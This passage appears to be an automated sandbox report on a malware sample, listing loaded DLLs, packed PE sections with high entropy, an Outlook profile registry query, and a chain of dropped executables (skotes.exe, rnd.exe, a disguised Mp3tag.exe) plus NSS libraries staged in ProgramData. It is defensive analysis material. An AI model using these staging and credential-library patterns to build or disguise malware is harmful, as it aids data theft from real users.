Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: dxgidebug.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe	Section loaded: oledlg.dll
Source: C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe	Section loaded: tak_deco_lib.dll
Source: C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe	Section loaded: pla.dll
Source: C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe	Section loaded: tdh.dll
Source: C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe	Section loaded: cabinet.dll
Source: C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe	Section loaded: wevtapi.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1783808 > 1048576

Source: file.exe

Static PE information: Raw size of iwfkwehn is bigger than: 0x100000 < 0x199a00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: pbBuf != NULLlnLength != 0SZipFile::AppendCentralDirFileHeaderpOut != NULLY:\projects\_main\SZipFile.cppSZipFile::AllocateNewDataBlockastrInFilePaths[i]astrInFilePaths.size() != 0_S_FALSE(m_zf.bZipFileOpen)strOutFilePathSZipFile::CompressFilesAbspbCopyTo != NULLpdb->pdbNext != NULLrcdc.pdbFirst != NULL && rcdc.pdbLast != NULLSZipFile::DeleteDataBlocksdwLength <= 4readastrInFileNames[i]astrInFileNames.size() != 0SZipFile::CompressFilesRelpfileIn != NULLrb_S_FALSE(m_zf.bSubFileOpen)_S_TRUE(m_zf.bZipFileOpen)strGlobalCommentSZipFile::ZipCloseSZipFile::SZipFilehFind != INVALID_HANDLE_VALUE_S_FALSE(strFilePath.IsEmpty())SZipFile::GetFileTimem_zf.sfi.dwLocalFileHeaderPos != _S_NUM_MAXDWORDlpszFilePathlpszCommentSZipFile::ZipCreateSubFiledwOldPos != _S_NUM_MAXDWORD_S_TRUE(m_zf.bSubFileOpen)SZipFile::ZipCloseSubFiledwPosCentralDir != _S_NUM_MAXDWORDSZipFile::ZipWriteSubFilem_zf.dwStartPos != _S_NUM_MAXDWORDwbSZipFile::ZipOpen1.3.1m_zf.sfi.pbCentralDirFileHeader != NULLSDocument8 source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2029830787.000000006CE0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: rcdc.pdbFirst != NULL && rcdc.pdbLast != NULL source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: Y:\build\binaries\mp3tag\Mp3tag64.pdb source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2029830787.000000006CE0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: Y:\build\binaries\mp3tag\Mp3tag64.pdb? source: Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxzip64\Release\sfxzip.pdb source: rnd.exe, 0000001D.00000002.2660531051.00007FF6850CE000.00000002.00000001.01000000.0000000E.sdmp, rnd.exe, 0000001D.00000000.2640354146.00007FF6850CE000.00000002.00000001.01000000.0000000E.sdmp, rnd[1].exe.27.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.ca0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;iwfkwehn:EW;sayxaavx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;iwfkwehn:EW;sayxaavx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.a50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hockpqtz:EW;wxulotut:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hockpqtz:EW;wxulotut:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.a50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hockpqtz:EW;wxulotut:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hockpqtz:EW;wxulotut:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 27.2.skotes.exe.a50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hockpqtz:EW;wxulotut:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hockpqtz:EW;wxulotut:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CBD3480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CBD3480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe

File created: C:\Users\user\AppData\Local\Temp\Bijouterie\__tmp_rar_sfx_access_check_4435531

Source: rnd.exe.27.dr	Static PE information: real checksum: 0x0 should be: 0x68c31b
Source: fb1f3ab244.exe.27.dr	Static PE information: real checksum: 0x435425 should be: 0xd2ecb
Source: tak_deco_lib.dll.29.dr	Static PE information: real checksum: 0x0 should be: 0x563ee
Source: DocumentsIDGHDGIDAK.exe.0.dr	Static PE information: real checksum: 0x1dbb1f should be: 0x1dfa51
Source: file.exe	Static PE information: real checksum: 0x1c06ae should be: 0x1c2cfb
Source: random[1].exe.27.dr	Static PE information: real checksum: 0x435425 should be: 0xd2ecb
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1dbb1f should be: 0x1dfa51
Source: rnd[1].exe.27.dr	Static PE information: real checksum: 0x0 should be: 0x68c31b
Source: skotes.exe.23.dr	Static PE information: real checksum: 0x1dbb1f should be: 0x1dfa51

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: iwfkwehn
Source: file.exe	Static PE information: section name: sayxaavx
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: hockpqtz
Source: random[1].exe.0.dr	Static PE information: section name: wxulotut
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsIDGHDGIDAK.exe.0.dr	Static PE information: section name:
Source: DocumentsIDGHDGIDAK.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsIDGHDGIDAK.exe.0.dr	Static PE information: section name:
Source: DocumentsIDGHDGIDAK.exe.0.dr	Static PE information: section name: hockpqtz
Source: DocumentsIDGHDGIDAK.exe.0.dr	Static PE information: section name: wxulotut
Source: DocumentsIDGHDGIDAK.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: .idata
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: hockpqtz
Source: skotes.exe.23.dr	Static PE information: section name: wxulotut
Source: skotes.exe.23.dr	Static PE information: section name: .taggant
Source: rnd[1].exe.27.dr	Static PE information: section name: .didat
Source: rnd[1].exe.27.dr	Static PE information: section name: _RDATA
Source: rnd.exe.27.dr	Static PE information: section name: .didat
Source: rnd.exe.27.dr	Static PE information: section name: _RDATA
Source: random[1].exe.27.dr	Static PE information: section name:
Source: random[1].exe.27.dr	Static PE information: section name: .rsrc
Source: random[1].exe.27.dr	Static PE information: section name: .idata
Source: random[1].exe.27.dr	Static PE information: section name:
Source: random[1].exe.27.dr	Static PE information: section name: qgdzfrry
Source: random[1].exe.27.dr	Static PE information: section name: dlceznyc
Source: random[1].exe.27.dr	Static PE information: section name: .taggant
Source: fb1f3ab244.exe.27.dr	Static PE information: section name:
Source: fb1f3ab244.exe.27.dr	Static PE information: section name: .rsrc
Source: fb1f3ab244.exe.27.dr	Static PE information: section name: .idata
Source: fb1f3ab244.exe.27.dr	Static PE information: section name:
Source: fb1f3ab244.exe.27.dr	Static PE information: section name: qgdzfrry
Source: fb1f3ab244.exe.27.dr	Static PE information: section name: dlceznyc
Source: fb1f3ab244.exe.27.dr	Static PE information: section name: .taggant
Source: Mp3tag.exe.29.dr	Static PE information: section name: _RDATA
Source: tak_deco_lib.dll.29.dr	Static PE information: section name: .didata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0B536 push ecx; ret		0_2_6CC0B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A6D91C push ecx; ret		27_2_00A6D92F

Source: file.exe	Static PE information: section name: iwfkwehn entropy: 7.954339174920036
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.988291086573797
Source: random[1].exe.0.dr	Static PE information: section name: hockpqtz entropy: 7.955305476537546
Source: DocumentsIDGHDGIDAK.exe.0.dr	Static PE information: section name: entropy: 7.988291086573797
Source: DocumentsIDGHDGIDAK.exe.0.dr	Static PE information: section name: hockpqtz entropy: 7.955305476537546
Source: skotes.exe.23.dr	Static PE information: section name: entropy: 7.988291086573797
Source: skotes.exe.23.dr	Static PE information: section name: hockpqtz entropy: 7.955305476537546

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIDGHDGIDAK.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	File created: C:\Users\user\AppData\Local\Temp\Bijouterie\tak_deco_lib.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\rnd[1].exe	Jump to dropped file
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Jump to dropped file
